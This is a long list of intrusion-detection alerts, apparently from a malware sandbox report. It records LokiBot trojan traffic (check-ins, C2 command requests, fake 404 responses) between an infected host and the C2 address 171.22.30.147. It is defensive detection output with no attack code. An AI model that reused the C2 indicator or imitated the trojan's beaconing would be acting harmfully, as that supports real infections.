Timestamp:	171.22.30.147192.168.2.380499892025483 01/05/23-08:53:37.188693
SID:	2025483
Source Port:	80
Destination Port:	49989
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749765802825766 01/05/23-08:52:29.748218
SID:	2825766
Source Port:	49765
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749705802021641 01/05/23-08:52:09.363911
SID:	2021641
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749918802021641 01/05/23-08:53:15.920283
SID:	2021641
Source Port:	49918
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749973802825766 01/05/23-08:53:32.829653
SID:	2825766
Source Port:	49973
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500422025483 01/05/23-08:53:52.766868
SID:	2025483
Source Port:	80
Destination Port:	50042
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499672025483 01/05/23-08:53:31.314561
SID:	2025483
Source Port:	80
Destination Port:	49967
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749729802024313 01/05/23-08:52:19.554519
SID:	2024313
Source Port:	49729
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749757802024318 01/05/23-08:52:27.498112
SID:	2024318
Source Port:	49757
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749913802021641 01/05/23-08:53:14.593137
SID:	2021641
Source Port:	49913
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750024802024318 01/05/23-08:53:47.812882
SID:	2024318
Source Port:	50024
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749729802024318 01/05/23-08:52:19.554519
SID:	2024318
Source Port:	49729
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749748802024318 01/05/23-08:52:24.879047
SID:	2024318
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750007802025381 01/05/23-08:53:41.829015
SID:	2025381
Source Port:	50007
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500832025483 01/05/23-08:54:03.870341
SID:	2025483
Source Port:	80
Destination Port:	50083
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498712025483 01/05/23-08:53:01.907904
SID:	2025483
Source Port:	80
Destination Port:	49871
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498742025483 01/05/23-08:53:02.704853
SID:	2025483
Source Port:	80
Destination Port:	49874
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500012025483 01/05/23-08:53:40.323123
SID:	2025483
Source Port:	80
Destination Port:	50001
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749945802825766 01/05/23-08:53:23.275014
SID:	2825766
Source Port:	49945
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749850802825766 01/05/23-08:52:56.172529
SID:	2825766
Source Port:	49850
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749946802021641 01/05/23-08:53:23.547730
SID:	2021641
Source Port:	49946
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749785802024318 01/05/23-08:52:36.951784
SID:	2024318
Source Port:	49785
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749768802025381 01/05/23-08:52:30.564042
SID:	2025381
Source Port:	49768
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749785802024313 01/05/23-08:52:36.951784
SID:	2024313
Source Port:	49785
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750026802025381 01/05/23-08:53:48.341265
SID:	2025381
Source Port:	50026
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750043802024318 01/05/23-08:53:52.949985
SID:	2024318
Source Port:	50043
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749748802024313 01/05/23-08:52:24.879047
SID:	2024313
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749822802825766 01/05/23-08:52:47.112264
SID:	2825766
Source Port:	49822
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750024802024313 01/05/23-08:53:47.812882
SID:	2024313
Source Port:	50024
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749917802825766 01/05/23-08:53:15.635846
SID:	2825766
Source Port:	49917
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499972025483 01/05/23-08:53:39.292691
SID:	2025483
Source Port:	80
Destination Port:	49997
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749971802025381 01/05/23-08:53:32.299331
SID:	2025381
Source Port:	49971
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749927802021641 01/05/23-08:53:18.426652
SID:	2021641
Source Port:	49927
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498332025483 01/05/23-08:52:50.173155
SID:	2025483
Source Port:	80
Destination Port:	49833
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749974802021641 01/05/23-08:53:33.106432
SID:	2021641
Source Port:	49974
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749987802825766 01/05/23-08:53:36.549688
SID:	2825766
Source Port:	49987
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750071802024313 01/05/23-08:54:00.426977
SID:	2024313
Source Port:	50071
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498412025483 01/05/23-08:52:53.827492
SID:	2025483
Source Port:	80
Destination Port:	49841
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750063802025381 01/05/23-08:53:58.331391
SID:	2025381
Source Port:	50063
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749787802025381 01/05/23-08:52:37.509502
SID:	2025381
Source Port:	49787
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498222025483 01/05/23-08:52:47.191039
SID:	2025483
Source Port:	80
Destination Port:	49822
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750080802024313 01/05/23-08:54:02.852694
SID:	2024313
Source Port:	50080
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500122025483 01/05/23-08:53:43.270055
SID:	2025483
Source Port:	80
Destination Port:	50012
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498602025483 01/05/23-08:52:58.960095
SID:	2025483
Source Port:	80
Destination Port:	49860
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750080802024318 01/05/23-08:54:02.852694
SID:	2024318
Source Port:	50080
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750054802025381 01/05/23-08:53:55.890469
SID:	2025381
Source Port:	50054
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750071802024318 01/05/23-08:54:00.426977
SID:	2024318
Source Port:	50071
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498632025483 01/05/23-08:52:59.783070
SID:	2025483
Source Port:	80
Destination Port:	49863
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749943802025381 01/05/23-08:53:22.718924
SID:	2025381
Source Port:	49943
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749759802025381 01/05/23-08:52:28.024665
SID:	2025381
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498002025483 01/05/23-08:52:41.187781
SID:	2025483
Source Port:	80
Destination Port:	49800
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749805802024318 01/05/23-08:52:42.467353
SID:	2024318
Source Port:	49805
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498822025483 01/05/23-08:53:04.870118
SID:	2025483
Source Port:	80
Destination Port:	49882
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498852025483 01/05/23-08:53:05.656001
SID:	2025483
Source Port:	80
Destination Port:	49885
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750009802825766 01/05/23-08:53:42.368696
SID:	2825766
Source Port:	50009
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749955802021641 01/05/23-08:53:25.989714
SID:	2021641
Source Port:	49955
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749803802825766 01/05/23-08:52:41.905218
SID:	2825766
Source Port:	49803
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749828802021641 01/05/23-08:52:48.735651
SID:	2021641
Source Port:	49828
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750052802024318 01/05/23-08:53:55.369344
SID:	2024318
Source Port:	50052
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750052802024313 01/05/23-08:53:55.369344
SID:	2024313
Source Port:	50052
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750028802825766 01/05/23-08:53:48.853917
SID:	2825766
Source Port:	50028
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749888802825766 01/05/23-08:53:06.392338
SID:	2825766
Source Port:	49888
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749776802024318 01/05/23-08:52:33.619524
SID:	2024318
Source Port:	49776
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750035802025381 01/05/23-08:53:50.741604
SID:	2025381
Source Port:	50035
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749805802024313 01/05/23-08:52:42.467353
SID:	2024313
Source Port:	49805
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750082802025381 01/05/23-08:54:03.532238
SID:	2025381
Source Port:	50082
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749776802024313 01/05/23-08:52:33.619524
SID:	2024313
Source Port:	49776
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749799802021641 01/05/23-08:52:40.836883
SID:	2021641
Source Port:	49799
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749989802024318 01/05/23-08:53:37.099082
SID:	2024318
Source Port:	49989
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749702802025381 01/05/23-08:52:08.155254
SID:	2025381
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749757802024313 01/05/23-08:52:27.498112
SID:	2024313
Source Port:	49757
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749960802024313 01/05/23-08:53:28.475539
SID:	2024313
Source Port:	49960
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749960802024318 01/05/23-08:53:28.475539
SID:	2024318
Source Port:	49960
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749770802021641 01/05/23-08:52:31.112136
SID:	2021641
Source Port:	49770
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749915802025381 01/05/23-08:53:15.112176
SID:	2025381
Source Port:	49915
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498302025483 01/05/23-08:52:49.327790
SID:	2025483
Source Port:	80
Destination Port:	49830
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749983802021641 01/05/23-08:53:35.478290
SID:	2021641
Source Port:	49983
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749831802825766 01/05/23-08:52:49.539016
SID:	2825766
Source Port:	49831
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749714802021641 01/05/23-08:52:13.349412
SID:	2021641
Source Port:	49714
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749957802025381 01/05/23-08:53:26.768134
SID:	2025381
Source Port:	49957
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500232025483 01/05/23-08:53:47.629813
SID:	2025483
Source Port:	80
Destination Port:	50023
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749713802825766 01/05/23-08:52:12.826844
SID:	2825766
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749775802021641 01/05/23-08:52:32.683406
SID:	2021641
Source Port:	49775
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749844802025381 01/05/23-08:52:54.549139
SID:	2025381
Source Port:	49844
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749869802825766 01/05/23-08:53:01.298022
SID:	2825766
Source Port:	49869
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749808802825766 01/05/23-08:52:43.325468
SID:	2825766
Source Port:	49808
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749729802021641 01/05/23-08:52:19.554519
SID:	2021641
Source Port:	49729
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749757802021641 01/05/23-08:52:27.498112
SID:	2021641
Source Port:	49757
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749989802024313 01/05/23-08:53:37.099082
SID:	2024313
Source Port:	49989
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749862802025381 01/05/23-08:52:59.436708
SID:	2025381
Source Port:	49862
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498902025483 01/05/23-08:53:07.016304
SID:	2025483
Source Port:	80
Destination Port:	49890
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749941802024313 01/05/23-08:53:22.165125
SID:	2024313
Source Port:	49941
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749816802025381 01/05/23-08:52:45.483412
SID:	2025381
Source Port:	49816
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749939802025381 01/05/23-08:53:21.632432
SID:	2025381
Source Port:	49939
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749941802024318 01/05/23-08:53:22.165125
SID:	2024318
Source Port:	49941
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749747802021641 01/05/23-08:52:24.577114
SID:	2021641
Source Port:	49747
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749898802021641 01/05/23-08:53:09.845609
SID:	2021641
Source Port:	49898
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750014802021641 01/05/23-08:53:43.719267
SID:	2021641
Source Port:	50014
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749801802025381 01/05/23-08:52:41.371912
SID:	2025381
Source Port:	49801
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749742802021641 01/05/23-08:52:23.189713
SID:	2021641
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750070802021641 01/05/23-08:54:00.166694
SID:	2021641
Source Port:	50070
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

